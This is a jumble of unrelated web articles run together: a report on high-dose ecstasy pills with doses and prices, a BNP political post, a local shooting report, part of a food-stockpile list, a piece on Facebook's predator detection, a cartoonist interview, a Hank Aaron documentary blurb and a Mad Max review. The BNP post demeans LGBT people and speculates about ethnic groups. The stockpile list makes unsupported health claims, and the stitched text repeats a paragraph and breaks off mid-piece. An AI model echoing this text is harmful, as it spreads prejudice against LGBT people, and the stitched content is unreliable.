But as of 2010, MDMA purity is on the upswing within the continent, a new report from the European Monitoring Centre for Drugs and Drug Addiction (EMCDDA) says. Compared to an average of 50-80 mg of MDMA contained in pressed pills throughout the dawn of raving in the 90s and 2000s, the current average dose in a pressed pill of ecstasy has increased to double that potency: 125 mg.
"Super pills" are also proliferating in Europe—some containing a ridiculous 270-340 mg. "Some recently produced batches of MDMA tablets contained discernible crystals, apparently as a strategy to increase user trust," the report states. These sometimes contain score marks, signalling that someone popping it might only need to take half or less to roll face.
Scott, an ecstasy collector in Scotland, has seen the emergence of super pills firsthand.
"Over the past five years, pills have had a dramatic increase in MDMA content as between the era of around 2005-2010 pills were filled with crap," Scott told VICE. "Nowadays, pills have skyrocketed—for example, the latest pills I have, orange Burger Kings, have a lab testing of 250 mg. All my pills I have in my collection are easily around 180 mg and above."
Scott said some other super-strength pressies that he's encountered have been Lego bricks and orange WiFis. He says the price he pays is usually £10 (~$11.50 US) per pill.
This waning and waxing of MDMA purity is due in part to who controls the trade. Nick* was part of a major (now-defunct) ecstasy ring in the 90s whose product came from Europe. "As we moved into the new millennium, we had the Chinese chemists who saw ways to get around laws, that's when you started to see the influx of designer substances [similar to MDMA]," he told VICE. "When the Chinese came and took this huge market for ecstasy, I really think the European drug gangs saw a decrease in sales, and over time, that amounted to millions and millions of dollars [lost]."
According to Nick, the move to aggressively increase potency in ecstasy pills could be an attempt at branding and to get away from the "molly" powder that is so frequently tainted with other substances. "This has been a decision among the European drug overseers to really brand name their ecstasy, and that's going to be in the form of higher-dose pills that the public has never seen before."
Though E has a history of production based in Europe—so much so that there's no evidence that any ecstasy is imported into the continent—the report points out that, "With regard to trafficking, the vast majority of European production is destined for internal markets."
With the increased airport security seen after the 9/11 terrorist attacks, drug trafficking became more difficult. But with the advent of darknet marketplaces that provide hundreds of options to people who previously would not be able to get ahold of illicit drugs, the market for many substances has become more nuanced. According to a 2015 study referenced in the EMCDDA report that analyzed 16 darknet marketplaces, it was estimated that ecstasy accounts for 25 percent of drug demand within this market. Another study referenced ranks MDMA as the third most common drug sold on the darknet.
Nick said that he recently got ahold of several different kinds of super pill ecstasy that derived from Europe and were sold on the darkweb including those bearing the corporate logos of Instagram, Tesla, and Warner Brothers. The price on the darkweb for the Teslas he got were $3.50 US per pill.
According to Nick, the super pill ecstasy that Europe is currently producing is likely to get into the North American market in a bigger way in the near future.
"If you're a drug dealer on the street level, for me, it was always about having the best product... the person who has the best shit will always outsell the person with the weaker shit," he said. "It might not happen immediately, but as it becomes known, it will... we're already starting to see the switch in the US."
Though the price of an MDMA capsule in North American markets is currently hovering around $10-15 per pill, this switch in product is likely to push up the price of ecstasy to $20 and higher due to demand. And according to Nick, an unexpected change in potency could have more serious impact: "Some of these are three doses, so if you're uneducated and you've taken pills before and were able to take four of them at a time, suddenly, it doesn't take that amount anymore," he said. "What you're having is kids taking that and getting to that MDMA intoxication point really frequently now."
According to the EMCDDA report, health issues seem to be "relatively uncommon" with MDMA on its own, though it states there is not enough data to substantiate this claim.
*Name has been changed to protect anonymity.
Follow Allison Tierney on Twitter.Official statistics have blown apart claims by the mainstream media (MSM) that one-third of young people in Britain identify as gay or bisexual.
In its latest study on sexual identity released yesterday, the Office for National Statistics (ONS) showed the figure to be just 4.1 per cent in 2016.
While 16 to 24-year-olds are more likely to report themselves as lesbian, gay, or bisexual (LGB) than any other age group, there was no statistically significant rise in the figure from the previous year.
The group of people aged 16 to 24 who identified as LGB comprised of 1.5 per cent who said they are lesbian or gay, and 2.4 per cent professing to be bisexual.
“The proportion of the population who identified as LGB declined with each consecutive age group,” stated the report, inferring that the LGBT lobby’s infiltration and militant pressuring of media entertainment and teaching authorities for decades has played a significant role in manipulating the self-declared sexual preference of young people.
Interestingly, it also cited that people of “mixed or multiple ethnic groups” (4.3 per cent) were more than twice as likely to identify as LGBT than white people (2 per cent), who were just over twice as likely as Asian (0.9 per cent) or black (0.9 per cent) people.
It’s a finding that might suggest that this group has a more difficult time identifying itself in general and therefore seeks out one which it can call its own.
The ONS findings have brought fresh criticism of PC authorities which have continuously and dishonestly inflated figures to justify special treatment in the name of what they call ‘diversity’ and what the rest of us recognise as ‘social division’ and ‘special interests’.
Political Correctness has infected almost every institution of society; schools, media, entertainment, literature, police, political, local authorities, business and even the church.
It’s a fact perhaps exemplified by the caving in of PC police forces to LGBT demands to provide camp cops with ‘diversity training’ paid for by the taxpayer.
The tiny percentage that LGBT fascists claim to represent apparently require their own separate branch of policing, complete with gaily decked out patrol cars, officers with infantile rainbow paint and adorned with daft uniform accoutrements before being deployed to dance and prance around at various events while claiming they have no money to do their paid jobs.
Of course, any time spent on the job is taken up searching for phantom ‘hate-crimes’ (the genuine ones of which are hate-hoaxes perpetrated by the left) while real crimes go uninvestigated.
Police are supposed to provide a service to all.
The BNP firmly believes that if Britain’s police forces are good enough for one group, they’re good enough for everyone.
That goes too for the gated communities of career politicians living in and around Whitehall who now employ a special police force to manage the well-being and safety of our ‘superiors’.
Leftwing Liberals are, not for the first time in history, beset with a paradox: If ‘equality’ means treating everyone as equals, as one and the same, why are certain groups receiving preferential treatment?
This question is ignored by ‘regressive’ leftwing Liberals because hypocrisy is written into every aspect of their warped, socially corrosive and scurrilous doctrine.
After all, to paraphrase George Orwell, some people are more equal than others.
Comments
commentsAmerican Legion Post 33, at the corner of Barrancas and Intendencia, the scene of a shooting early Sunday morning. (Photo11: Bruce Graner/[email protected], Bruce Graner/[email protected])
An altercation early Sunday morning that led to a 16-year-old being shot and a 15-year-old being knocked unconscious occurred right after a Stop the Violence concert, according to an event organizer.
Around 1:30 a.m. Sunday, about 300 teenagers had congregated outside of American Legion Post 33 on 1401 W. Intendencia St. following the concert, according to a news release from the Pensacola Police Department. A large fight broke out among the youth, and one male was shot in the upper torso and another was beaten unconsciousness.
Both teens have been treated at local hospitals and released, according to PPD officials.
A co-organizer of the concert, Bill Marshall, said the concert had been a free event where local music artists performed and spoke to the youths about ending violence in their communities.
Marshall, who did not attend the event, said there had been metal detectors and security inside the building and no reported issues during the concert. He said that problems began after the event ended at midnight.
He said friction developed among teens who were exiting the concert, teens who were waiting outside because the building had reached occupancy capacity at 300 and older teens who came to hang out in the building parking lot.
"Older kids started coming down the street, and apparently they didn't like what some of the younger kids were doing," Marshall said. He said he did not know specifically what sparked the shooting.
Marshall said future teen events likely would be hosted at a larger venue with more security.
The American Legion often rents out its hall for private functions, but Cmdr. Doug Burleson, head of Post 33, said that the youth concert this weekend would be the last of its kind there.
"Unfortunately, we're not going to be able to rent the the building for events for young people anymore," Burleson said. "We can't have these types of events anymore if we can't ensure the kids are going to be kept safe."
The PPD is still investigating the shooting. Anyone with information on the incident is asked to call the Pensacola Police Department at 435-1900.
Read |
the treatment of minor infections in both humans and animals.
18. Sea salt: in addition to seasoning food and preserving meats, sea salt contains the iodine necessary to prevent diseases like goitre.
19. Distilled and Seltzer water: Purified water is crucial to your survival especially if water sources become contaminated during an emergency. Seltzer water is great if you want a break from still water and also helps to calm upset stomachs and improve digestion.
20. Pasta: Different types of pasta will provide you with versatile options to whip up several meals. Due to its low moisture content, pasta has a very long shelf life and is an inexpensive food to stockpile.
21. Jam and jellies: include a variety of fruit jellies and jams to spread on your homemade whole-wheat bread and enjoy an unmatched treat.
22. Canned vegetables: canned vegetables will provide you with all the nourishment you need in the absence of fresh ones. Concentrate on high nutrient options like sweet potatoes, tomatoes and olives and skip GMO option like corn.
23. Honey: not only is honey great for flavoring beverages, for use in baking and in sweetening breakfast cereals, it is a great antibiotic and topical treatment for minor cuts, burns and bruises.
24. Condiments: mustards, relishes and sauces are great for spicing up foods during emergency times.
25. Chocolate: chocolate makes a tasty addition to your stockpile and has additional health benefits such as fighting UTI’s, lifting your mood and boosting your heart health.
26. Apple cider vinegar: ACV is a key ingredient in homemade salad dressings and has numerous health benefits to boot.
27. Leavening agents: No stockpile is complete without the addition of baking powders and other rising agents necessary for making bread and other baked goods.
28. Protein powders: Whey, egg and other protein powders are great for addition to smoothies and boosting your protein intake when other options are limited.
29. Dried corn: corn is a wonderful staple that can be ground into cornmeal for making tortillas, popped to make popcorn and even used as a seed to plant fresh corn for consumption.
30. Ready to eat dried meals: Add water or milk pre-cooked meals offer a healthy alternative when you lack the ingredients or energy to make meals from scratch.
31. Rice: Like pasta, rice is an inexpensive and long lasting food that makes a great accompaniment to stews, casseroles and vegetable dishes.
32. Canned fruits: in the absence of fresh fruit, canned options will suffice nicely, and provide you with hydration in the form of sweet and tangy liquids.
33. Supplements: Vitamins, minerals, soft-gels and other supplements will provide you with concentrated nutrition when you do not have access to food sources of nutrition.
34. Spaghetti sauce: canned spaghetti sauce provides a great alternative when the fresh ingredients required to make it from scratch are unavailable.
35. Infant formula and canned baby food: any family with toddlers and young children will do well to stock these items to safeguard the health of the younger members of the family.
In an emergency, food items are among the first to disappear or go into shortage. By taking a few precautions and ensuring you have essential food items stockpiled, you can take care of yourself and your family until the particular emergency or other adverse situation blows over.Sexual predators have been using social media to target children and teens for years. But did you know that Facebook actually has software in place to monitor and stop it? And that it's deliberately ineffective?
Here's a striking bit about Facebook from Reuters' deep look into how social networks try to protect kids:
"We've never wanted to set up an environment where we have employees looking at private communications, so it's really important that we use technology that has a very low false-positive rate," [Facebook Chief Security Officer Joe Sullivan] said. In addition, Facebook doesn't probe deeply into what it thinks are pre-existing relationships. A low rate of false positives, though, also means that many dangerous communications go undetected. Some adults have used Facebook to target dozens of minors before assaulting one or more and then being identified by their victims or the victims' parents, court records show. "I feel for every one we arrest, ten others get through the system," Florida's Duncan said of tips from Facebook and other companies.
Advertisement
It's a real dilemma. On one hand, loudmouths like us hammer Facebook whenever privacy concerns pop up. And rightly so—Facebook and other social services hold a massive amount of our private data, and often seem to forget how violated they can make us feel. No one wants Facebook employees reading their chat transcripts if it's not necessary.
But public sentiment bends and warps when it comes to child predators, because there are genuine horrors out there. Would we be OK with Facebook reading through millions more innocent-but-idiotic cybersex transcripts between college kids or sad adults if it bumped that hypothetical figure to 5-in-10? 8-in-10? It's hard to say.
Advertisement
It's hard to mandate that the transcript reads wouldn't be used irresponsibly—people are generally stupid and cruel, after all—but it's just as hard to ignore that chilling estimate. Check out the rest of the story, which does feature a few wins, thankfully, at [Reuters].
Pedobear image credit: Jim Cooke at Gawker; original image from Richard Laschon/ShutterstockNovember Garcia is one of the freshest and funniest voice in autobiographical comics. While she's skilled at playing up her wacky escapades with her husband Roy, the joke-generating machine that is her mom and her initial insecurity in approaching the indy comics community, the reality is that she is one of the most skilled humorists in comics. After several misfires earlier in her career, she's in a groove right now that's seen her published by Hic & Hoc, PEN America, and Popula. She won the Dash Grant from Short Run Seattle. Her most recent work saw her emerge as a fully-formed voice, yet she's worked hard to improve at aspects of her craft that she's been dissatisfied with. That said, she emerged with a powerful sense of honesty and authenticity in her comedic voice. She's fearless in tackling difficult subjects, using certain deflective and self-deprecatory techniques to prevent her comics from becoming maudlin. She has a way of boiling down anecdotes to their humorous essence in a way that doesn't feel stilted or fake. Her figure drawing is rubbery and expressive. Garcia's mixture of enthusiasm and glee for the things she loves and visceral disgust for the things she doesn't comes across vividly on the page. In this interview, we'll examine Garcia's roots and provide critical context for her work. is one of the freshest and funniest voice in autobiographical comics. While she's skilled at playing up her wacky escapades with her husband Roy, the joke-generating machine that is her mom and her initial insecurity in approaching the indy comics community, the reality is that she is one of the most skilled humorists in comics. After several misfires earlier in her career, she's in a groove right now that's seen her published by Hic & Hoc, PEN America, and Popula. She won the Dash Grant from Short Run Seattle. Her most recent work saw her emerge as a fully-formed voice, yet she's worked hard to improve at aspects of her craft that she's been dissatisfied with. That said, she emerged with a powerful sense of honesty and authenticity in her comedic voice. She's fearless in tackling difficult subjects, using certain deflective and self-deprecatory techniques to prevent her comics from becoming maudlin. She has a way of boiling down anecdotes to their humorous essence in a way that doesn't feel stilted or fake. Her figure drawing is rubbery and expressive. Garcia's mixture of enthusiasm and glee for the things she loves and visceral disgust for the things she doesn't comes across vividly on the page. In this interview, we'll examine Garcia's roots and provide critical context for her work.
Family and Background
Rob Clough: Where were you born and raised? How old are you?
November Garcia: I was born and raised in a little suburb in Manila, Philippines. We call them “villages” here. They’re just suburbs, not like huts or anything like that. My elementary school and high school were in that same village, and all my friends lived in that same village. So I never had a reason to leave the village.
I’m now 41 and am proud to say that many moons ago I escaped the village to a magical city 6,963 miles away for 13 years. I have since moved back… to a different village.
RC: Did you grow up reading comics? Did you have friends with whom you read comics?
NG: As a child, I grew up reading Archie, Garfield, and Peanuts. The usual hits, because that’s all we could get over here. I found a photo where I was reading Woody Woodpecker and am proud of that. Every kid growing up in the ‘80s here pretty much read the same comics.
In my teens, I would buy comics from Tower Records when my family went on holiday in the US. That’s when I got into Sandman and Tank Girl. Yeah, yeah, I know, quit laughing.
RC: Did you grow up drawing? Did you draw with others, like siblings and friends?
NG: I always drew. I’d make up stories in my head and just draw them out nonsensically. My dad was the president of an ad agency, and his desk always had a stack of newsprint and a cup of sharpened pencils––that was my favorite place in the world to draw. At home, I’d whine: “Mom, I’m booooored! Can I have a pencil and paper?”.
I actually made a lot of teen drama comics with dogs as the characters (maybe an Archie influence). I recently unearthed some “ads” I drew as inserts, like dogs selling toilet paper. I really loved dogs.
My two sisters were more into ballet, piano, Barbies, and drawing fashion dresses. I’m the son that my dad never had.
RC: What was your childhood like? In what ways does it inform your work now?
NG: Honestly, I was a spoiled brat, being the baby of the family. (I was a... er... surprise/blessing having been born 6 years after my second sister). I rebelled a lot in my teens and beyond—and coming from a decent family, I couldn’t understand what my problem was. Today, after living on my own in a major American city, I realize that it was the repression and the monotony and the “sheep mentality” all around me. I was itching for more but didn’t know what, exactly.
RC: Your mom is one of your go-to characters in Malarkey. She even contacts you with complaints after reading some of your strips. What does she think of you putting her in your strips in general? Has she been supportive of your career as a cartoonist?
NG: She only gets mad when I write about Jesus, drinking, or drugs. Otherwise, she’s fine with it (although sometimes she’ll say the quintessential “Don’t make a comic about this!”). My parents have always supported my creative endeavors. Being a creative person himself, my dad always said, “Thank God none of you girls became boring doctors or lawyers!”. He probably regrets that now, though.
The mom comics actually began as a Christmas gift to my dad. I did a dad book full of strips about him and had it printed professionally. He loved it, so the next year, I made him a mom book. There are a lot of gems in that one which I wished I had put in Malarkey but they all live somewhere in the Tumblr and on my dad’s coffee table.
RC: Do you plan to do strips about your dad in the future? He's conspicuous by his absence in your current work.
NG: I would if he did something funny –– my mom just keeps stealing the show. There are definitely memories worth making strips about. Maybe I’ll look through that dad book I made to see if there’s something there.
RC: Did you study art in high school or college?
NG: Our high school here is like elementary school in the sense that you don’t get to choose subjects. And you’re in the same damn classroom all day. So I just had the generic art classes in high school where you make a dumb collage or something.
I was kind of a burnout, so I didn’t get into the best (and only) art college here. They had a talent test where, if you passed, it would supersede your failure of what is the equivalent of the SATs in the States. I also failed the talent test, so I guess I was a really bad artist. I ended up going to my “back-up” college, which I’d previously vowed that I would never attend — but my mom forced me to take the entrance exam anyway: “In case you end up with no school!”. When I needed to declare a major, I checked the box for “advertising” only because my cousin did.
As I mentioned earlier, I grew up privileged, and, after college, I convinced my dad to send me to art school in San Francisco. I chose the school solely on the location and turned down his offer to send me to London or New York. I dropped out after one year because I eloped with a guy I met at that art school. Poor dad.
But I returned in my late 20s with a vengeance, determined to finish what I started. I switched to a program that had Graphic Design classes, which saved my life and got me out of the pet care industry.
Early Days
RC: You've written that you started doing comics in your early twenties and even submitted them to various publishers. What were those comics like?
NG: I was going through my psychedelic phase, so they were these awful comics with a character named Bean who had misadventures in an incense and peppermints world. It had no words and was pure “eye candy” with swirls, heavy stippling, wild patterns, and bendy trees.
I was so delusional that when I bought my first Frank comic by Jim Woodring, I proclaimed “Great! Now the world will think I’m copying this guy!”
I only ever submitted my comics to ONE publisher: Fantagraphics. Haha! And when they sent their rejection letter, I had the gall to email Peter Bagge for his opinion as to why. I asked, “Is it the art or the writing?” and he said “Both”.
Yes, I had huge balls and nothing resembling a clue back then.
RC: You've listed Peter Bagge as one of your earliest influences. What other cartoonists were formative for your work?
NG: Robert Crumb, Jim Woodring, Roberta Gregory. I only discovered them when I got to San Francisco. My ex was into comics too (he got me into Crumb) and tried to get me into Angry Youth Comix and Johnny the Homicidal Maniac but those didn’t stick.
RC: You note Bagge as an influence, yet your recent work is autobiographical. Have you ever considered doing humorous fiction?
NG: I guess I cite him as a huge influence because I’m so invested in his characters, especially the HATE series and The Bradleys. I can’t even count how many times I’ve re-read that series. I know my work looks nothing like his, like I’m horrible at feathering, which he does a lot of. But I love his art and writing.
I wish I could do humorous fiction but I don’t think my writing skills are good enough. I stick with the “write what you know” approach, and even then, it’s a struggle. The material comes easily, but autobio can be so self-serving... I constantly have to find ways to avoid navel-gazing. The question “Why should anyone give a shit?” always helps.
RC: Did you quit comics for any period of time after that? If so, for how long? What led to your quitting?
NG: As I entered my late 20s, I didn’t exactly quit — I just did it more sporadically. I got a corporate job and spent most of my spare time feeding my “tattoo artist” phase. Roy was friends with a bunch of tattooers. He bought all this tattoo equipment and we’d practice on pigskin. I thought this would be my new “out”... just waltz into a shop and say “Hey dudes, check out my awesome portfolio.” I call it “Fantagraphics Submission Delusion: Part Two”.
I actually enjoyed making the designs but all that machinery and hullabaloo was just not in the cards for me.
During this time, I did make a comic series called “Catholic Girls” about my high school experiences and it went viral in Manila. There were heated debates in the comments section of my blog. My drawing was horrible and I used computer lettering so just don’t google it. (But I bet you will! Argh)
RC: You know that I had to. It reads like a more labored version of what you do now, with lots more cross-hatching and such, but it's still the same voice. Have you thought about revisiting and revising this material?
NG: Perhaps. I touched a bit on it in my : Perhaps. I touched a bit on it in my PEN America comic but I’m open to doing some vignettes. It’s just hard for me to remember a lot of things from that time and I rely a lot on my friends’ memories from high school. I probably blocked out a lot of it from trauma.
RC: How old were you when you moved from the Philippines to the US? What was that transition like?
NG: I didn’t graduate with an art degree so I couldn’t apply for a Masters. I got a second degree instead, so at 23, I was the oldest person in my dorm.
I arrived in San Francisco with too much confidence... I thought I was so cool because I was one of the “edgiest” people in my village, haha! There was definitely a learning curve, culturally. Simple things like having to walk up and talk to strangers to make friends (people aren’t as forward in Manila). I also did a lot of naive things because I was used to being in a safe bubble where you couldn’t get into any serious trouble. My ignorance literally almost landed me in prison (a possible future comic and also, sorry mom and dad), mugged, sexually harassed, or beat up. I’m a fast learner though, so I assimilated quickly.
RC: That sounds like an entire book's worth of experiences. Any plans to write about that soon?
NG: I always wanted to do a strip about the close call with ending up in jail, but it’s so heavy and loaded with dark events. I have to figure out how to do it in my writing style, keeping it light. The same goes for the sexual harassment... I just don’t see any way of writing about that without being heavy. I wrote about some of the other stuff in Foggy Notions, like being held at gunpoint, the black eye, etc. so I probably won’t do another book of San Francisco-specific experiences.
Foggy Notions
Published by Hic and Hoc, Foggy Notions is Garcia's second comic but her official debut. It's a departure from her self-published work in that it's a series of interrelated, longer-form vignettes about her time living in San Francisco. While not gag-oriented, it's still funny because Garcia focuses on the weird, the inappropriate and the extreme--and that's just with regard to her own behavior. "My First Black Eye" is the prototypical Garcia story, as a woman on a bus tries to steal her phone and punches Garcia in the face. A black eye in her case was a serious thing, given that she's almost blind in the eye that wasn't punched. The mix of outrageousness and anxiety gives the piece tense energy and sets the tone for the rest of the book.
"Everlast" may be about a homeless person she and Roy saw all the time, but it's also a walking tour of San Francisco that sets the stage for documenting a city that was about to be forever altered by gentrification. Here we see Garcia's difficulty with backgrounds inhibiting the story a bit because it doesn't give the reader enough of the unique aspects of the city. However, her cartooning with regard to people is excellent, especially with regard to facial expressions, body language and figures interacting in space.
RC: Foggy Notions was your first comic released by a publisher, correct? Other than Malarkey, did you self-publish any comics before this?
NG: No, in fact, Malarkey just came into existence because my publisher asked me if I had anything lying around that he could give away at SPX. So I compiled a bunch of comics from my Tumblr into a zine and mailed them to him. That’s the first comic you ever read from me too!
RC: Matt Moses handed it to me and talked you up, but it was remarkably assured work considering it was your first go. How long you had been doing comics on Tumblr at that time?
NG: I was posting comics here and there on my blog for years but was only posting on Tumblr for a few months. They weren’t very good, but after Matt took me under his wing he gave me good advice [about cartoonists to emulate.] That really helped me approach comics in a more mature way going forward and I also made them more frequently. Those are the strips that went into that first Malarkey.
RC: How did you come to work with Matt Moses of Hic andHoc?
NG: In 2015, my website was down so I started a Tumblr account and posted a bunch of comics on there. I saw Hic and Hoc in my network and they had a submissions button, so I sent two awful strips which were rejected. I had just gotten over the blighted ovum incident and the comics were very dark. Thankfully, this at least got me on Matt’s radar and he must have seen some potential in other stuff I posted after that. Eventually, he contacted me about trying something out.
RC: Foggy Notions is different from most of your self-published work. While it's funny, the stories are longer and are all set during your time living in San Francisco. Was this part of your pitch, or was this something that Matt wanted?
NG: Matt wanted something cohesive so I pitched a couple of themes and we settled on the San Francisco stories. I really enjoy longer narrative writing and Malarkey is more of my “release” from that... just stuff for laughs and fun in between the serious work. I’ve been meaning to do more narrative stuff like Rookie Moves. My comics on PEN America and Popula that came out recently are reflective of what I want to do next.
RC: How long was it after you left San Francisco that you wrote these comics? Were you aware that you were documenting a city that no longer exists?
NG: I had just moved back to the Philippines when I started writing those, probably 3 years in. I always knew I had some stories to tell and that things were changing, especially after I moved. I just didn’t know the extent and the quickness of how the city was changing during the period that I was writing the comics from here.
RC: "Everlast" is a story whose central gag relies on a homeless man wearing an Everlast jacket. It also serves as a walking tour of San Francisco. Was it important for you to give the reader a strong sense of the city's flavor during the course of the comic?
NG: I didn’t really overthink it. It was just another part of my life living there and a running joke between me and Roy (other people in the neighborhood knew him too, like the guy who does my tattoos and Roy’s friend who owns a vintage clothing store).
It was the first story I pitched to Matt because it was the most mundane storyline, and I wanted to prove that I could write beyond pure spectacle. Today, I do regret not having shown more of my neighborhood for that comic, but my skills back then were very limited.
,
RC: Do you feel that writing about the "pure spectacle" aspects of your life is somehow cheating as a creator, like it's an easy shortcut?
NG: If the story of spectacle is one hell of a story, then I’m all for writing about it. I only think it’s cheating if you rely on spectacle alone to write all your stories. Gabrielle Bell is a master storyteller in my opinion because she could literally be watching paint dry and write an amazing story about that.
RC: As an author, you have an interesting relationship with the excesses of your own behavior. You seem to walk a line between worried about it and playing it up for laughs. Are there past stories that you read and cringe at, or is it all just fodder for good storytelling?
NG: I definitely cringe at past stories, especially from Malarkey #2 when I was going through a tough time. I try to avoid whiney autobio. But that’s where I was at at the time so that’s what I wrote about. In Malarkey #3, there are practically no substance abuse stories (not that I’m saying they didn’t happen, yuk! yuk!).
I’ve always had an impulsive and addictive personality, which is not a good combination, but at the same time I’m reasonable enough to remain a “functioning adult”. So there’s that conundrum of not really having a serious problem — by cutting it off right at the limit.
Let’s change the subject, haha!
RC: Okay. How did you develop your lettering style? Your letter size is bigger than most cartoonists, and you use interesting loops in places.
NG: I’ve always had horrible handwriting, so I have no idea where that came from. I do remember that in school, my friends would crack up at how neat my handwriting was when I had to write out visual presentations.
As they say, “Lettering is Drawing” so that probably explains that. I do hate that my lettering is so huge and I’ve been trying to adjust it, but it’s really hard for me.Spring training has begun, and the sports channels are turning their thoughts to baseball, but so is the Smithsonian Channel. On Monday, it begins a four-part docu-series called “Major League Legends” with a moving episode on Hank Aaron. Every fan knows his triumphant trot around the bases when he broke Babe Ruth’s major league home run record in 1974, but this program traces the difficult road he traveled to get to that moment.
“There’s the American dream, and then there’s the life that the Aaron family and black families like him actually had to live,” says the author Howard Bryant. It was, of course, a path full of the hurdles of racism, even after Aaron became a major leaguer in 1954 and a star. And it placed him in an odd sort of spotlight, acclaimed as a sports hero even as black America as a whole was struggling for equality.
Aaron himself contributes remembrances of the hardships and the triumphs. Subsequent episodes turn their attention to Ruth, Lou Gehrig and Ted Williams.Review: 'Mad Max: Fury Road' is the Best Action Movie of the Year
The 2015 Indiewire Cannes Bible: Every Review, Interview and News Item Posted During Run of Festival
Scorched red earth, leather-clad bikers, deranged metalheads and a stone-faced avenging protagonist of few words: These are the familiar hallmarks of George Miller’s relentlessly satisfying “Mad Max” universe, which remains captivating as ever in the Australian director’s long-awaited fourth entry, “Mad Max: Fury Road,” a kinetic tone poem in blockbuster clothing.
It has been 30 years since the last anarchic outing, “Mad Max: Beyond Thunderdome” — so long that the iconic role of bereaved cop-turned-drifter in a dead world can no longer belong to aging, disgraced Mel Gibson. But the muted, hulking Tom Hardy is a natural fit for taking Max into another round of energizing showdowns between various demented figures battling for superiority in a twisted, fast-paced arena imported from the earlier movies, but never this spectacularly realized. Like Max himself, Miller’s stripped-down approach to staging intense and involving action sequences stands alone.
Before all else, the movie’s familiarity marks a return to form. In the years since his previous “Max” outings, Miller has developed a peculiar filmography of mainstream works that smuggle mature themes into popular material that never demands it — most successfully with “Babe: Pig in the City” and the first “Happy Feet” — even if the sheer cinematic virtuosity of the “Mad Max” movies went latent. Judging by the constant forward momentum of “Fury Road,” Miller had a lot to get out of his system: The movie starts at a high velocity and barely ever slows down.
Max has come a long way since his family’s death in the initial 1979 entry turned him into a solitary drifter in this dreary milieu, but it doesn’t take long to pick up where we left off. In an opening chase scene, Max’s typically reliable Interceptor gets knocked around by a group of white-faced marauders that lock him up in the dungeon run by Immortan Joe (Hugh Keays-Byrne), a grill-masked lunatic who lords over his minions in a horrific desert outpost where the dictator hogs a water supply and locks up his women to breed his army of ghoulish followers.
Within minutes, we’re treated to roaring engines, dust-caked showdowns, a gripping chase through claustrophobic tunnels and a dangling crane. Miller swiftly beefs up these scenes with tidbits of backstory, as Max sees flashes of phantoms from the traumatic past that still haunts him. It’s just enough to provide a reminder of his chaotic present. “My world is fire and blood,” he intones in an opening voiceover, which is just as much a literal description of the ensuing mayhem as a figurative one.
Despite a visionary set design that consolidates the biker aesthetic of the second film with the grimly carnivalesque look of the second, “Fury Road” maintains a fairly straightforward narrative trajectory as it barrels ahead, almost entirely focused on a series of rapid-fire chase scenes.
READ MORE: Watch: New Full-Length ‘Mad Max: Fury Road’ Trailer is the Most Insane Thing You’ll Watch All Day
After he escapes from a debilitating position strapped to the hood of his vehicle by one of his demonic captors, Max teams up with a throng of female slaves led by the trenchant Furiosa (a bald, scowling Charlize Theron, intimidating for reasons beyond her character’s metallic arm) to escape Immortan Joe’s daunting advances from behind the wheels of souped-up monster truck.
Furiosa hopes to pawn off her supplies and find a legendary world of greenery she remembers from her youth, while forming a tentative alliance with Max that deepens as the pair survive a series of violent encounters. Unwilling to trust anyone, but committed to survival at all costs, their unruly chemistry is the closest thing to a tight bond in the series since Max’s early family days. But their toughness has nothing on maniacal foe Immortan Joe — whose appearance recalls, oddly enough, the muffled Bane character Hardy played in “The Dark Knight Returns.” However, Joe retains a far more menacing edge thanks to the sparsity of details surrounding his rule. Even as he’s protected by throngs of white-powered foot soldiers at every turn, Joe’s a terrifically effective super villain unafraid to get his hands dirty.
Furiosa’s own clan, who call themselves the Five Wives (a group that includes Zoe Kravitz and Abbey Lee) are a largely indistinguishable bunch, although their own uneasy alliance with one of Joe’s pale-faced offspring (Nicholas Hoult) — who defects to the other side after he’s inadvertently trapped in their truck — comes as close as this movie gets to conveying a semblance of warmth. Overall, however, the personalities in “Fury Road” remain gruff, one-note creations, but that’s at least fitting for this distinctive world that hits one note time and again so well.
Miller brings a near-abstract quality to the proceedings that elevates from them from the specifics of the story. As Max and Furiosa speed through the desert with Joe and his team in hot pursuit, the procession moves through the barren environments as though traversing through grim sonnets.
Most dialogue is defined by concise declarations or punchy asides on par with the expressionistic despair of the scenery. The words “Who killed the world?” are scrawled on walls. Max’s inevitable pep talk with Furiosa finds him declaring “Hope is a mistake,” while the psychos chasing after him gear up for martyrdom they envision as “riding to Valhalla.” The sense of peril, culling from historical and mythological reference points, is at once poignant and fragmentary.
However, the main effective ingredient in “Fury Road” is its ongoing motion. The chases largely pivot on insane car-to-car acrobatics, narrow exchanges of gunfire and metal smashing together at ridiculously high speeds. Inspiring fear and giddy excitement in equal measures, “Fury Road” suggests the unruly collision of “Ben Hur” and a Road Runner cartoon.
Over the course of two hours, there are times when the pattern of tense shootouts and erratic outbursts strain from redundancy. Miller sometimes emphasizes the over-the-top zaniness to a distracting degree. (One recurring flourish, a lunatic guitarist on a moving platform blasting out distorted riffs alongside the action, feels too excessive for its own good.)
Nevertheless, Miller keeps the action fluid from scene to scene, offering a bracing alternative to countless murky CGI spectacles that dominate Hollywood studio product today. In “Fury Road,” special effects come secondary to the visual marvels of the color palette meted out by cinematographer John Seale at every turn. One standout moment revolves around a ginormous environmental storm that calls to mind “Wizard of Oz.” Nighttime scenes are filled with silhouettes against a landscape baked in blue. Orange-red flare guns pierce the barren sky. In essence, Miller has made a silent film enhanced, but not defined, by its meaty sounds.
The vivid post-apocalyptic scenery pays homage to Miller’s homegrown tradition. In the years since the last movie, “Mad Max” has been welded into the DNA of modern action and sci-fi movies while inspiring countless imitators. But no matter these lofty expectations, Miller avoids taking the overwrought material for granted by pushing it beyond pure stylistic posturing.
There’s rich thematic material here that extends beyond the story’s immediate appeal: Long before Miller’s script closes with a quote by Albert Camus, it delivers a cautionary tale against the threat of global warming, depicts the greed and desperation surrounding natural resources, and celebrates the prospects of civilian uprising under ridiculously daunting conditions. Insert your metaphorical reading here.
“Sooner or later,” announces one rebellious slave, “someone pushes back.” The underlying thrill of “Fury Road” stems from watching those words come to life on several levels. “Mad Max” doesn’t just depict conflicts with evildoers in a tattered existence. It delivers a rare alternative to aggressively stupid action movies. At a time of great need, Max rides again.
Grade: A-
“Mad Max: Fury Road” opens wide on May 15. It premieres at the Cannes Film Festival this week.
READ MORE: 5 Observations About the 2015 Cannes Film Festival Lineup
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.Nicky & Rob // Victoria BC Photography
